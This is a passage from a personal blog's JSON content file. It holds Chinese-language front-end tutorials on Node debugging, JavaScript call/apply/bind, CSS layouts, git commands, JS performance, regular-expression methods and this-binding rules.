-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathcontent.json
1 lines (1 loc) · 135 KB
/
content.json
1
{"pages":[{"title":"about me","text":"自我介绍 - Self Introduction 我是盈盈,现居广东广州。2017届毕业生。 欢迎来到我的博客 联系方式QQ邮箱,欢迎联系","link":"/about/index.html"}],"posts":[{"title":"Node最佳调试方法","text":"最近有在学习node,总是有个东西困扰我,比如,我们在客户端看不到相应的js代码,所以这个时候我们要怎么调试呢? 所以今天想简单介绍一下一个node的调试方法:node-inspector 下面是我安装这个的步骤: 首先,不用说肯定是要先装上node,node现在已经内置了npm,有了这两个才能在命令行输入 在命令行输入npm install -g node-inspector 记住加上-g,采用全局方式 成功的标志是 进入到你要调试的程序文件里,比如我的spider.js,则执行node –debug spider.js 接着你再打开一个cmd,输入node-inspector它就会有一句 1Visit http://127.0.0.1:8080/?port=5858 to start debugging. 输入 node-inspector &变成这样 再在刚刚的另一个cmd里面输入 node --debug xxx.jsxxx是你要调试的那个文件名 最后输入地址栏地址 http://127.0.0.1:8080/?port=5858显示: 一个和谷歌一模一样的调试界面就出来了,接下来的事情前端er估计也就懂如何做了吧~","link":"/2016/06/05/Node最佳调试方法/"},{"title":"what's call、apply、bind?","text":"hello,各位,今天是年三十,本来呢是想好好过个新年的,去看看什么春晚呀,可是发现春晚是在是不合胃口。今年支付宝,微信,QQ齐出大招,各种红包雨。支付宝的拼命咻,微信的摇断手,QQ的刷啊刷。本宝宝弄了一两轮就累得不行TAT,各大互联网真心有料,今年做得还是挺不错的。所以就进来房间来倒腾一下。虽然时间也不早了,我看看能写多少就写多少吧~~在这里先给大家拜个早年~~猴年行大运,恭喜发财呀~ BB了好多有的没的。现在正式进入正题 call()、apply()、bind()是干什么的其实之前学这些的时候,总是学完就好快忘了,深究原因,还是没有理解透彻,首先他们用在哪个地方呢?这个好像我并没有很深去思考。那么问题来了,现在就让我来给大家说说,这几个函数是用来做啥的。在回答这个问题前,咱们先花点时间看下这一段代码123456789101112function Demo1(name){ this.name = name; this.sayHi = function(){ alert(this.name); }} function Demo2(){ };var demo = new Demo2();demo.sayHi();//Uncaught TypeError: demo.sayHi is not a function(…) 可能这个问题有点小儿科,这段代码的执行结果是一个错误,提示没有在Demo2上找到sayHi方法。 那么好,我们稍微修改一下代码,只要修改点点即可:123456789101112function Demo1(name){ this.name = name; this.sayHi = function(){ alert(this.name); }} function Demo2(){ Demo1.call(this,\"zyy\")};var demo = new Demo2();demo.sayHi();//弹出“zyy” 只有一句代码:Demo1.call(this),我们就可以在Demo2上使用Demo1上定义的方法,是不是很神奇,这种方法叫做继承。所以也就理解call()、apply()与bind()是干什么的了。 区别我们知道call、apply与bind都是属于Function.prototype上的方法可以用来改变函数的执行上下文,最明显的就是改变函数体内部this的指向。 在JavaScript中, 函数的执行上下文(函数作用域)分为两种,定义时上下文,调用时上下文,而且函数的执行上下文是可以被改变的。 call与apply的异同: 相同点作用都是一样的,动态修改函数的执行上下文,调用被改变上下文函数对象的方法。 不同点传入的参数不同 注:非严格模式下, 在全局的话 this指向window或global,如果call,apply或bind的第一个参数是undefined或 null 都是指向window或global。 由上可知在函数的参数个数确定的情况下两者是没什么差别的,如果参数个数不确定,就选择用apply。 通过改变上下文我们就可以调用函数或对象的内置方法,举例: 12var arr = [2,5,6,2,11,51];var maxNum = Math.max.apply(Math,arr); //51 1234//Object的内置方法 toString返回一个类型字符串Object.prototype.toString.call(Math); //\"[object Math]\"Object.prototype.toString.apply(Math); //\"[object Math]\"typeof Math //\"object\" bind又是什么呢?bind的作用和apply与call的很相似。 MDN的解释是:bind()方法会创建一个新函数,称为绑定函数,当调用这个绑定函数时,绑定函数会以创建它时传入 bind()方法的第一个参数作为 this(改变函数的执行上下文),传入 bind() 方法的第二个以及以后的参数加上绑定函数运行时本身的参数按照顺序作为原函数的参数来调用原函数。 1234567891011121314151617181920var num = 6;var foo = { num:66, getNum :function(){ return this.num; }};//对象.调用时,this指向对象foo.getNum(); //66var getNum = foo.getNum;//全局下调用,等于价与下面这段var getNum = function(){ return this.num;}getNum();//创建一个‘this’绑定到对象 foo 的函数var bindGetNum = getNum.bind(foo);bindGetNum(); //66 在异步回调函数中, 比如setTimeout ,this指向window或global对象。当使用类的方法时需要this指向类实例,就可以使用bind()将this绑定到回调函数来管理实例。 bind特性, 偏函数(预定义参数): 使用bind()我们设定函数的预定义参数,然后调用的时候传入其他参数即可 bind()函数是在 ECMA-262 第五版(ES5)才被加入,所以要兼容IE8一下的就要自己实现bind函数了123456Function.prototype.bind = function(context){self = this; //保存this,即调用bind方法的目标函数returnfunction(){return self.apply(context,arguments); };}; 或者(可以绑定对象,也支持在绑定的时候传参):123456789Function.prototype.bind = function(context){ var args = Array.prototype.slice.call(arguments, 1), self = this; returnfunction(){ var innerArgs = Array.prototype.slice.call(arguments); var finalArgs = args.concat(innerArgs); return self.apply(context,finalArgs); };}; 总结一下: apply 、 call 、bind 三者都是用来改变函数的this对象的指向的; apply 、 call 、bind 三者第一个参数都是this要指向的对象,也就是想指定的上下文; apply 、 call 、bind 三者都可以利用后续参数传参; bind 是返回对应函数,便于稍后调用;apply 、call 则是立即调用 。","link":"/2016/02/07/call、apply、bind是什么?/"},{"title":"css布局之宽度问题","text":"一个好的css布局对于一个页面的重要程度,相信大家心里都明白。完成一个两栏,三栏,等高等布局,在页面总是非常常见。所以我这边总结了一些方法。 两栏布局一栏定宽,一栏自动思路一:float + margin左边设定宽度并左浮动 float:left右边只需要设定margin-left:左边的宽度 思路二:position + margin左边定义宽度并设置成绝对定位 position:absolute右边 margin-left:左边的宽度 思路三:flex父级div设定 display:flex左边设置宽度右边 flex:1 三栏布局两侧定宽,中间自动思路一:float+margin左右两侧分别浮动左右(或者是绝对定位,参考 一栏顶宽 的思路二)中间 margin : 0 右边宽度 0 左边宽度 思路二:float + 负margin中间在另一个div里面嵌套左边 margin:-100%右边 margin:-自身宽度 思路三: float+flex (flex有兼容问题)在父级设定 display:flex中间的div flex:1(假设中间的最小在100px的时候) 两侧自动,中间定宽思路一:左右两栏的父div分别设置自己宽度 width:50%,分别占据左右两边。子div(也就是他们的 .left .right)左边的子div右边距为中间宽度的一半,右边的左边距也为中间宽度一半。这样他们刚好就留出中间的宽度来了中间的div:就按照css居中一个div的方法,将中间的div居中, 并且是绝对定位,然后设置 z-index防止被覆盖 思路二:flex(有兼容问题)中间的定宽,左右分别占据剩下盒子的一半,平分 好啦,这次咱们先说这些,下一篇我会说说定高度布局问题","link":"/2016/04/25/css布局之宽度问题/"},{"title":"css布局之高度问题","text":"在开发过程中会遇到许多等高布局,或者是一些瀑布流布局 下面我们一起看看 等高布局两列等高我必须得承认一件事,每次写思路的时候,我总是把神器flex放在最后面,因为我觉得他的兼容性还是有点问题的(兼容情况戳这里)但是,实际上它也是最容易理解的,而且代码量最少的,所以思来想去,我决定第一个推荐这个方法 思路一:flexbox将父div设定 align-items:stretch;,使得伸缩项目在交叉轴方向拉伸填充整个容器通俗一点来说,就是子div的高度会和你父div一样高注意,如果需要右边一侧布满剩下的,直接用flex:1即可上代码 思路二:float+margin+position 三列等高思路一:flex相信到这里大家不用我多说了 思路二:float+position","link":"/2016/05/05/css布局之高度问题/"},{"title":"git命令归纳","text":"最近在学习git,入门的我TAT觉得命令还是比较多的,为了避免自己忘记,所以把这些命令归纳一下供以后使用。 Git命令大全 1) 远程仓库相关命令123456789101112131415161718192021222324检出仓库:$ git clone git://github.com/jquery/jquery.git查看远程仓库:$ git remote -v添加远程仓库:$ git remote add [name] [url]删除远程仓库:$ git remote rm [name]修改远程仓库:$ git remote set-url --push [name] [newUrl]拉取远程仓库:$ git pull [remoteName] [localBranchName]推送远程仓库:$ git push [remoteName] [localBranchName] *如果想把本地的某个分支test提交到远程仓库,并作为远程仓库的master分支,或者作为另外一个名叫test的分支,如下:$ git push origin test:master // 提交本地test分支作为远程的master分支$ git push origin test:test // 提交本地test分支作为远程的test分支 2)分支(branch)操作相关命令1234567891011121314151617181920212223242526272829303132查看本地分支:$ git branch查看远程分支:$ git branch -r创建本地分支:$ git branch [name] ----注意新分支创建后不会自动切换为当前分支切换分支:$ git checkout [name]创建新分支并立即切换到新分支:$ git checkout -b [name]删除分支:$ git branch -d [name] -----d选项只能删除已经参与了合并的分支,对于未有合并的分支是无法删除的。如果想强制删除一个分支,可以使用-D选项合并分支:$ git merge [name] ----将名称为[name]的分支与当前分支合并创建远程分支(本地分支push到远程):$ git push origin [name]删除远程分支:$ git push origin :heads/[name] 或 $ gitpush origin :[name] *创建空的分支:(执行命令之前记得先提交你当前分支的修改,否则会被强制删干净没得后悔)$git symbolic-ref HEAD refs/heads/[name]$rm .git/index$git clean -fdx 3)版本(tag)操作相关命令1234567891011121314151617181920212223242526查看版本:$ git tag创建版本:$ git tag [name]删除版本:$ git tag -d [name]查看远程版本:$ git tag -r创建远程版本(本地版本push到远程):$ git push origin [name]删除远程版本:$ git push origin :refs/tags/[name]合并远程仓库的tag到本地:$ git pull origin --tags上传本地tag到远程仓库:$ git push origin --tags创建带注释的tag:$ git tag -a [name] -m 'yourMessage' 4) 子模块(submodule)相关操作命令12345678910111213141516171819202122添加子模块:$ git submodule add [url] [path]如:$git submodule add git://github.com/soberh/ui-libs.git src/main/webapp/ui-libs初始化子模块:$ git submodule init ----只在首次检出仓库时运行一次就行更新子模块:$ git submodule update ----每次更新或切换分支后都需要运行一下删除子模块:(分4步走哦) 1) $ git rm --cached [path] 2) 编辑“.gitmodules”文件,将子模块的相关配置节点删除掉 3) 编辑“ .git/config”文件,将子模块的相关配置节点删除掉 4) 手动删除子模块残留的目录5)忽略一些文件、文件夹不提交在仓库根目录下创建名称为“.gitignore”的文件,写入不需要的文件夹名或文件,每个元素占一行即可,如targetbin*.db Git 常用命令123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263git branch 查看本地所有分支git status 查看当前状态 git commit 提交 git branch -a 查看所有的分支git branch -r 查看本地所有分支git commit -am \"init\" 提交并且加注释 git remote add origin [email protected]:ndshowgit push origin master 将文件给推到服务器上 git remote show origin 显示远程库origin里的资源 git push origin master:developgit push origin master:hb-dev 将本地库与服务器上的库进行关联 git checkout --track origin/dev 切换到远程dev分支git branch -D master develop 删除本地库developgit checkout -b dev 建立一个新的本地分支devgit merge origin/dev 将分支dev与当前分支进行合并git checkout dev 切换到本地dev分支git remote show 查看远程库git add .git rm 文件名(包括路径) 从git中删除指定文件git clone git://github.com/schacon/grit.git 从服务器上将代码给拉下来git config --list 看所有用户git ls-files 看已经被提交的git rm [file name] 删除一个文件git commit -a 提交当前repos的所有的改变git add [file name] 添加一个文件到git indexgit commit -v 当你用-v参数的时候可以看commit的差异git commit -m \"This is the message describing the commit\" 添加commit信息git commit -a -a是代表add,把所有的change加到git index里然后再commitgit commit -a -v 一般提交命令git log 看你commit的日志git diff 查看尚未暂存的更新git rm a.a 移除文件(从暂存区和工作区中删除)git rm --cached a.a 移除文件(只从暂存区中删除)git commit -m \"remove\" 移除文件(从Git中删除)git rm -f a.a 强行移除修改后文件(从暂存区和工作区中删除)git diff --cached 或 $ git diff --staged 查看尚未提交的更新git stash push 将文件给push到一个临时空间中git stash pop 将文件从临时空间pop下来---------------------------------------------------------git remote add origin [email protected]:username/Hello-World.gitgit push origin master 将本地项目给提交到服务器中-----------------------------------------------------------git pull 本地与服务器端同步-----------------------------------------------------------------git push (远程仓库名) (分支名) 将本地分支推送到服务器上去。git push origin serverfix:awesomebranch------------------------------------------------------------------git fetch 相当于是从远程获取最新版本到本地,不会自动mergegit commit -a -m \"log_message\" (-a是提交所有改动,-m是加入log信息) 本地修改同步至服务器端 :git branch branch_0.1 master 从主分支master创建branch_0.1分支git branch -m branch_0.1 branch_1.0 将branch_0.1重命名为branch_1.0git checkout branch_1.0/master 切换到branch_1.0/master分支du -hs-----------------------------------------------------------mkdir WebAppcd WebAppgit inittouch READMEgit add READMEgit commit -m 'first commit'git remote add origin [email protected]:daixu/WebApp.gitgit push -u origin master 图片出处","link":"/2016/01/15/git/"},{"title":"Hello 2018","text":"想当初这个博客刚建的时候,是2016年 不知不觉就2018年了,实习到现在也工作了两年半有多。正式工作之后,忙于业务,积累有所输出的东西慢慢减少了。 故今天特意重启这个博客,激励我自己多积累,多输出","link":"/2018/04/16/hello-world/"},{"title":"第一篇文章","text":"nice to meet you2016","link":"/2016/01/07/hello2016/"},{"title":"js性能——DOM编程","text":"hi~第三篇啦这一篇简短的文章简单说明了在DOM编程过程可以优化的一些点下面有一些概念需要大家一起认识一下; DOM遍历减少对DOM的遍历。 选择器APIquerySelectorAll()的原生DOM方法比使用js与DOM遍历要快 重绘重排浏览器下载完页面的所有组件——html标记、js、css、图片——之后会解析并生成两个内部数据结构: DOM树 表示页面结构 渲染树 表示DOM节点如何显示 当DOM的变化影响了元素的几何属性,浏览器就需要重新计算元素的几何属性,同样其他元素的几何属性也会因此受到影响。浏览器会使渲染树种受到影响的部分失效,并重新构建渲染树。这个过程称为“重排”。 完成重排后,浏览器会重新绘制受影响的部分到屏幕中,称为“重绘”。 但是!!并不是所有的DOM变化都会影响到几何属性(宽和高之类),比如改变颜色。这个时候只会发生重绘,不会重排。 All in all,重绘重排是代价很昂贵的操作,所以尽可能减少发生。 所以,怎样会有重排的发生呢? 重排发生情况 添加或删除可见的DOM元素 元素位置改变 元素尺寸改变 内容改变 页面渲染器初始化 浏览器窗口尺寸改变 渲染树变化的排队与刷新大多数浏览器通过队列化修改并批量执行来优化重排过程。然而,或许我们会不知不觉的强制刷新队列并要求计划任务立刻执行。 获取布局信息的操作会导致队列刷新,eg: offsetTop,offsetLeft,offsetwidth,offsetHeight scrollTop,scrollLeft,scrollwidth,scrollHeight clientTop,clientLeft,clientwidth,clientHeight getComputedStyle() 以上属性和方法需要返回最新的布局信息,所以浏览器不得不执行渲染队列中的“待处理变化”并重返重排以返回正确的值。 最小化重绘和重排下面举个例子说明如何减少重绘重排123var e = document.getElementById('mydiv');e.style.borderLeft = '1px';e.style.padding = '5px'; 上面三个样式属性被改变,每次都会影响元素几何结构,最糟糕的情况下,会导致浏览器触发三次重排。现在大部分现代浏览器为此做了优化,只触发一次重排,但是在旧版浏览器中,或者有一个分离的异步处理过程时,效率还是很低,如果在上面代码执行时,有其他代码请求布局,将会导致三次重排。可以改为如下1e.style.cssText += \";border-left:1px;\" 批量修改DOM通过一些改善来减少重绘与重排的次数: 使元素脱离文档流 对其应用多重改变 把元素带回文档中 通过三种方法来使DOM脱离文档: 隐藏元素,应用修改,重新显示 使用文档片段在当前DOM之外构建一个子树,再把它拷贝会文档 将原始元素拷贝到一个脱离文档的节点中,修改副本,完成后再替换原始元素 让元素脱离动画流用展开/折叠的方式来显示和隐藏部分页面是一种常见的交互模式。它通常包括产开区域的几何 动画,并将页面其他部分推向下方。 如果程序需要重新计算的节点越多,重排产生的卡顿感也会越明显。 那么应该如何解决呢?下面的步骤可以解决问题 使用绝对定位页面上面的动画,脱离文档流 让元素动起来,当他扩大时,会覆盖部分页面。但这只是页面的一个小区域的重绘过程,不会产生重排并重绘页面的大部分内容 动画结束的时候,恢复定位,从而只会计算一次。 IE与:hover从IE7开始,IE允许在任何元素(严格模式下)使用:hover这个CSS伪选择器。然而,如果你有大量元素使用了:hover,那么会降低响应速度,IE8更明显 事件委托事件委托,通俗来说,就是解决页面中大量元素都需要绑定事件处理器从而影响的性能的办法。它基于:事件逐层冒泡并能被父级元素捕获。 只需要给外层元素绑定一个处理器,就可以处理在其子元素上出发的事件 参考资料 高性能javascript","link":"/2016/07/13/js性能(三)——DOM编程/"},{"title":"js性能——数据存储","text":"这篇文章是基于对js的作用域链、原型有所了解的朋友们一起交流学习的。那么我们先看看: js的四种基本数据存取 字面量: 只代表自身,不存储在特定位置。js中字面量有:字符串、数字、布尔值、对象、数组、函数、正则表达式,以及特殊的null和undefined值。 本地变量:开发人员使用关键字var定义的数据存储单元。 数组元素存储在js数组对象内部,咦数据作为索引。 对象成员存储在js对象内部,以字符串作为索引 作用域链和标识符解析每个js函数都表示为一个对象,更确切的说,是Function对象的一个实例,Function对象同其他对象一样,拥有可以编程访问的属性,和一系列不能通过代码访问而仅供JavaScript引擎存取的内部属性。 其中一个内部属性是[[Scope]],这个属性包含了一个函数被创建的作用域中对象的集合。这个集合被称为函数的作用域链,它决定哪些数据能被函数访问。函数作用域中的每个UI小被称为一个可变对象,每个可变对象都以“键值对”的形式存在。 作用域链详情查看红宝书(js高级程序设计)第六章 如何影响性能? 在函数执行过程中,每遇到一个变量,都会经历一次标识符解析过程,从而决定从哪里获取数据。然后就会开始去搜索执行环境的作用域链,查找同名的标识符。搜索过程从当前的作用域头开始,也就是当前运行函数的活动对象。 如果找到了,就使用这个标识符对应的那个变量 如果没有找到,就继续搜索作用域链的下个对象,持续进行,直到找到 最后若无法搜索到,则会视为未定义改标识符 重点来了!就是这个搜索过程影响了我们的性能。 标识符解析的性能首先要认清一个事实,一个标识符所在的位置越深,它的读写速度也就越慢。so,局部变量的总是最快的,全局变量的读写通常是最慢的。(因为全局变量总是存在执行环境作用域链的最末端) 举个例子1234567891011121314function initUI(){ var bd = document.body, links = document.getElememtsByTagName('a'), i = 0, len = links.length; while(i < len){ update(link[i++]); } document.getElementById(\"go-btn\").onclick = function(){ start(); }; bd.className = 'active';} 上面这个函数,引用了三次document,而document是全局对象,必须遍历整个作用域链才能在全局作用域链中找到。 那么该怎么优化呢123456789101112131415function initUI(){ var doc = document, bd = doc.body, links = doc.getElememtsByTagName('a'), i = 0, len = links.length; while(i < len){ update(link[i++]); } doc.getElementById(\"go-btn\").onclick = function(){ start(); }; bd.className = 'active';} 这样访问全局变量的次数瞬间减少到一次 改变作用域链(动态作用域)一般来说,一个执行环境的作用域链是不会被改变的,但是js有两个语句可以在实行时临时改变作用域链。 with try catch eval 这的用法需要谨慎,这次不展开详说(其实因为我也没有完全弄通/(ㄒoㄒ)/~~) 闭包、作用域和内存闭包闭包,总是说闭包会使得内存泄漏,性能下降之类,可是你们知道是为什么吗? 首先,闭包是允许函数访问局部作用域之外的数据。先看下个代码123456function assignEvent(){ var id = 'zyy' document.getElementById('save-btn').onclick = function(){ saveDocument(id); } } assignEvent()函数给一个dom元素设置时间处理函数,这个时间处理函数就是一个闭包。在函数执行时创建,并且能访问所属作用域的id变量。为了让这个闭包访问id,必须创建一个特定的作用域链。 执行时,一个包含了变量id以及其他数据的活动对象呗创建,成为执行环境作用域链中的第一个对象,全局在后。 一般来说,函数的活动对象会随着执行环境一同销毁,但是引入闭包的同事,由于存在闭包,所以激活对象复发被销毁,意味着脚本中的闭包与非闭包相比,需要更多内存开销 原型提到原型,则不能不提原型链,原型原型链是什么就不详细介绍了。 但是了解原型链的同学都知道,原型链的深度越深,访问的越深,访问时间就越久,当然,最久的就是找不到的属性,它会一直找到最深处~~ 嵌套成员和所有的原理一样,eg:window.location.href 每次遇到点操作符,嵌套成员会导js引擎搜索所有对象成员。而location.href比window.location.href快。如果不是实例属性,还需要花更多时间去搜索。 缓存对象成员值eg:123function hasEitherClass(element,className1,className2){ return element.className == className1 || element.className == className2;} 上面的element.className被用了两次,我们可以用个变量保存1234function hasEitherClass(element,className1,className2){ var currentClass = element.className; return currentClass == className1 || currentClass == className2;} 小结 访问字面量和局部变量速度最快,访问数组元素和对象成员相对慢。 访问局部变量比夸作用域的快。变量在作用域链中越深,时间越长。全局访问速度最慢。 避免使用with 和try catch 嵌套对象成员会影响性能,尽量少用 属性或方法在原型链中的位置越深,访问速度就越慢 通过吧常用的对象成员、数组元素、跨域变量保存在局部变量中来改善javascript的性能。 参考资料 高性能javascript","link":"/2016/07/01/js性能(二)——数据存储/"},{"title":"正则test, exec, match, replace","text":"最近又用到了正则啦,发现匹配相同东西的时候,我和同事用不同的方法都可以,这里特意来归纳一下。 RegExp对象方法test()字符串的test方法,比较常用在判断语句中,用于检测一个字符串是否匹配某个模式: 1RegExpObject.test(string) 如果字符串 string 中含有与 RegExpObject 匹配的文本,则返回 true,否则返回 false:1/\\d/.test('asdf2') // --true 检测字符串`'asdf2'`中是否函数数字 exec()exec()方法功能非常强大,它是一个通用的方法,用于比较复杂的模式匹配或者是你为你提供更多的信息: 1RegExpObject.exec(string) 如果在string中找到了匹配的文本,则返回一个包含这些文本的数组,否侧返回null。这里有几个注意的地方: 返回的数组的第一个元素是与整个正则匹配的文本 然后数组的第二个元素是与整个正则的第一个子表达式(分组)相匹配的文本 数组的第三个元素整个正则的第二个子表达式(分组)相匹配的文本,以此类推。 1234567var result = /(\\d+)-(\\w+)/.exec('12-ab');console.log(result) // --> [\"12-ab\", \"12\", \"ab\", index: 0, input: \"12-ab\"] //exec() 都会把完整的细节添加到它返回的数组中,这里的细节指的就是index和input整个正则表达式匹配的文本:`\"12-ab\"`第一个子表达式匹配的文本:`\"12\"`第二个子表达式匹配的文本:`\"ab\"` 从上面返回的数组结果可知,数组添加了两个额外的属性,分别是:index, inputindex: 匹配文本的第一个字符的位置.input: 顾名思义,就是指输入的整体的文本了. 12console.log(result.index) // --> 0console.log(result.input) // --> '12-ab' 执行exec函数时,尽管是全局匹配的正则表达式,但是exec方法只对指定的字符串进行一次匹配, 获取字符串中第一个与正则表达式想匹配的内容,并且将匹配内容和子匹配的结果存储到返回的数组中, 例如:/\\d/g.exec('a22') ,返回的结果和上面的结果一样: ["2"] 1/\\d/g.exec('a22') // -->[\"2\"] 深入了解 exec()深入前看看RegExp的实例有哪些属性: global 布尔,表示是否设置了 g 标志 ignoreCase 布尔,表示是否设置了 i 标志 lastIndex 搜索下一个匹配项时开始的位置,从0开始 multiline 布尔值,表示是否设置了 m 标志 source 正则表达式的字符串表示 例1:非全局匹配 1234567891011121314var reg = /\\d/;//第一次匹配console.log(reg.exec('a123'));console.log(reg.lastIndex);//输出[\"1\"] 0 第二次匹配console.log(reg.exec('a123'));console.log(reg.lastIndex);//输出[\"1\"] 0 结论: 同一正则表达式,在非全局匹配模式下,每次实例的lastIndex属性的值总是不变的(为第一次找到匹配文本所在的位置,上面为0 );每次的匹配查找都是将lastIndex作为起始位置的 例2:全局匹配12345678910111213141516171819202122232425262728var reg = /\\d/g;//第一次匹配console.log(reg.exec('a123'));console.log(reg.lastIndex);//输出[\"1\"] 2 第二次匹配console.log(reg.exec('a123'));console.log(reg.lastIndex);//输出[\"2\"] 3 第三次匹配console.log(reg.exec('a123'));console.log(reg.lastIndex);//输出[\"3\"] 4 第四匹配console.log(reg.exec('a123'));console.log(reg.lastIndex);//输出null 0 结论: 同一正则表达式,在全局匹配模式下,每次实例的lastIndex属性的值为匹配文本最后一个字符的下一个位置,上面例子中第一次匹配的时候最后一个字符位置为1,则下一个位置为:2当 exec() 再也找不到匹配的文本时,它将返回 null,并把 lastIndex 属性重置为 0。 那当要获取全局匹配的全部匹配项时,可以通过循环来获取:1234567var reg = /\\d/g, result = [], crt;while((crt = reg.exec('a123')) !== null){ result = result.concat(crt)};result; //[\"1\", \"2\", \"3\"] String对象方法match()match() 方法可在字符串内检索指定的值,或找到一个或多个正则表达式的匹配。和exec()有些相似: 例1:非全局匹配12var a = 'aaaa'.match(/\\w/);console.log(a); // [\"a\", index: 0, input: \"aaaa\"] 可以看到,和exec()一样,在数组中返回了index 和 input属性。 或者是这样,match返回分组 例2:全局匹配12var a = 'aaaa'.match(/\\w/g);console.log(a); // [\"a\", \"a\", \"a\", \"a\"] 全局匹配就和exec方法有很大的不同了,他直接返回了所有符合匹配的子字符串的数组,另外,index和input属性也不在其中了,所以这个方法效率可能会高一些,但是如果你需要更多的信息,则用exec()吧 match函数在满足如下条件能实现和exec一样的功能: 1. 正则表达式中含有分组(括号) 2. 返回唯一的匹配 replace()这也是一个比较灵活常用的方法,它用于在字符串中用一些字符替换另一些字符,或替换一个与正则表达式匹配的子串。 这个方法接收两个必须的参数: pattern: 这个参数可以是字符串或是RegExp对象replacement: 替换匹配项的字符串或处理函数的返回值 返回结果:当未找到匹配项的时候,返回原始字符串。123456'aaaa'.replace('bbb', 'b') //\"aaaa\"``` 当`pattern`为字符串或者为非全局的RegExp对象的时候,只替换找到的第一项匹配项。```javascript'aaaa'.replace('a', 'b') //\"baaa\"'aaaa'.replace(/\\w/, 'b') //\"baaa\" 当pattern为全局的RegExp对象的时候,替换每一项匹配项。1'aaaa'.replace(/\\w/g, 'b') //\"bbbb\" replacement:为函数时:1234567'aaaa'.replace(/\\w/g, function() { return 'b';}); // \"bbbb\"'aaaa'.replace(/\\w/g, function(value) { return value.toUpperCase();}); // \"AAAA\" 结论: 函数的返回值将作为替换字符串 函数的第一个参数的值是每一个匹配项,当然还有第二个参数,它的值是每个匹配项在原始字符串的中位置,从0开始 特殊的 $:replacement 中的 $ 字符具有特定的含义。如下表所示,它说明从模式匹配得到的字符串将用于替换。 字符 替换文本 1、2、…、$99 与 regexp 中的第 1 到第 99 个子表达式相匹配的文本 $& 与 regexp 相匹配的子串 $` 位于匹配子串左侧的文本 $’ 位于匹配子串右侧的文本 $$ 直接量符号 12345678910111213141516171819//第一种情况:'aa11AA'.replace(/([a-z]+)(\\d+)([A-Z]+)/g, '$1'); // \"aa\"'aa11AA'.replace(/([a-z]+)(\\d+)([A-Z]+)/g, '$2'); // \"11\"'aa11AA'.replace(/([a-z]+)(\\d+)([A-Z]+)/g, '$3'); // \"AA\"//要是没有该子项,则当成普通字符串处理了'aa11AA'.replace(/([a-z]+)(\\d+)([A-Z]+)/g, '$4'); // \"$4\" //第二种情况:'aa11AA'.replace(/([a-z]+)(\\d+)([A-Z]+)/g, '$&'); //\"aa11AA\"//第三种情况:'aa11AA'.replace(/(\\d+)/g, '$`'); //\"aaaaAA\"//第四种情况:'aa11AA'.replace(/(\\d+)/g, \"$'\"); //\"aaAAAA\"//第五种情况:'aa11AA'.replace(/(\\d+)/g, '$$'); //\"aa$AA\"","link":"/2016/11/26/replace/"},{"title":"this绑定规则","text":"过了一个新年,有些知识又有点淡忘了吧~我们一起来复习一下 1.默认绑定12345function foo(){ console.log(this.a);}var a = 2;foo(); //2 这个例子相信大家也能够理解,this.a被解析了全局变量a。因为在函数调用是应用了this的默认绑定,因此this指向全局对象。 那我怎住的它这里就用了这种绑定呢?其实是这样的,在foo()直接使用不带任何修饰的函数引用进行调用的,就只能使用默认绑定,一会来看看其他规则对比一下可能就会清晰些。上面这个例子有个例外,如果使用严格模式(strict mode),全局对象将无法使用默认绑定,所以this会绑定到undefined123456function foo(){ \"use strict\"; console.log(this.a);}var a = 2;foo(); //TypeError:this is undefined 2.隐式绑定另外一个需要考虑的规则是调用位置是否有上下文对象,或者说是否被某个对着拥有或者包含12345678function foo(){ console.log(this.a);}var obj = { a:2, foo:foo};obj.foo(); //2 foo()的声明方式可以知道,它不属于obj对象,而是智慧被当做引用属性被添加到obj中。当foo()被调用是时,他的落脚点确实指向obj对象。当函数引用有上下文对象时,隐式绑定规则会吧函数调用中的this绑定要这个上下文对象,调用foo()时this被绑定到obj,所以this。啊和obj.a一样。 对象属性引用链中只有最顶层或者说最后一层灰影响调用位置,比如123456789101112function foo(){ console.log(this.a);}var obj2 = { a:4, foo:foo};var obj1 = { a:2, obj2:obj2};obj1.obj2.foo(); //2 隐式丢失有个常见的this绑定问题就是被隐式绑定的函数会丢失绑定对象,也就是它会应用默认绑定,至于刚刚那个this会绑定要全局/undefined,取决是否是严格模式。12345678910function foo(){ console.log(this.a);}var obj = { a:2, foo:foo};var bar = obj.foo; //函数别名var a = \"oops,global\"; //a是全局对象的属性bar(); // \"oops,global\" 这个地方一定要注意,虽然bar是obj.foo的一个引用,但是实际上,它引用的是foo函数本身,因此此时的bar()其实是一个不带任何修饰的函数调用,因此应用了默认绑定。另一种更微妙的,更常见并且出乎意料的情况发生在传入回调函数时:12345678910111213function foo(){ console.log(this.a);}function doFoo(fn){ //fn其实引用的是foo fn(); // <---调用位置}var obj = { a:2, foo:foo};var a = \"oops,global\";doFoo(obj.foo); //\"oops,global\" 参数传递其实就是一种隐式赋值,所以结果和上个例子一样。如果把函数传入语言内置的函数而不是传入你自己声明的函数,会发生什么呢?结果是一样的,没有区别:12345678910function foo(){ console.log(this.a);}var obj = { a:2, foo:foo};var a = \"oops,global\";setTimeout(obj.foo,100); //\"oops,global\" js环境中内置的setTimeout()函数和下面的伪代码类似:1234function setTimeout(fn,delay){ //等待delay毫秒 fn(); /// <---调用位置} 所以this的改变都是意向不到的,无法控制回调函数的执行方式,因此没有办法控制会影响绑定的调用位置。 显式绑定前面我们讲到,在隐式绑定时,我们必须在一个对象内部包含一个指向函数的属性,并通过这个属性间接引用函数,从而把this间接(隐式)绑定到这个对象上如果不想再对象内部包含函数引用,而是在某个对象强调函数,改怎么做呢? js中所有函数都有一些有用的特性,可以使用函数的call(..)和apply(..)方法。严格来说,javascript的宿主环境有时候会提供一些非常特殊的函数,他们并没有这两种方法。但是这种函数非常罕见,绝大多数都可以使用call(..)和apply(..)方法。 这两种方法如何工作的呢?它们的第一个参数是一个对象,它们会吧这个对象绑定到this,接着再调用函数时置顶这个this。因为你可以直接指定this的绑定对象,所以称为显示绑定先看下面一段代码1234567function foo(){ console.log(this.a);}var obj = { a:2};foo.call(obj); //2 通过foo.call(..)我们可以在调用foo时强制把它的this绑定到obj上。如果你传入了一个原始值(字符串类型、布尔类型或者数字类型)来当做this的绑定对象,这个原始值会被转化成它的对象形式(也就是new String(..),new Boolean(..) 或者new Number(…))。这通常会被称为装箱可惜,显示绑定仍然无法解决我们之前的问题啊。 1.硬绑定但是显示绑定的一个变种可以解决这个问题12345678910111213function foo(){ console.log(this.a);}var obj = { a:2};var bar = function(){ foo.call(obj); };bar();// 2setTimeout( bar,100 ); //2//硬绑定的bar 不可能再修改他的thisbar.call(window) //2 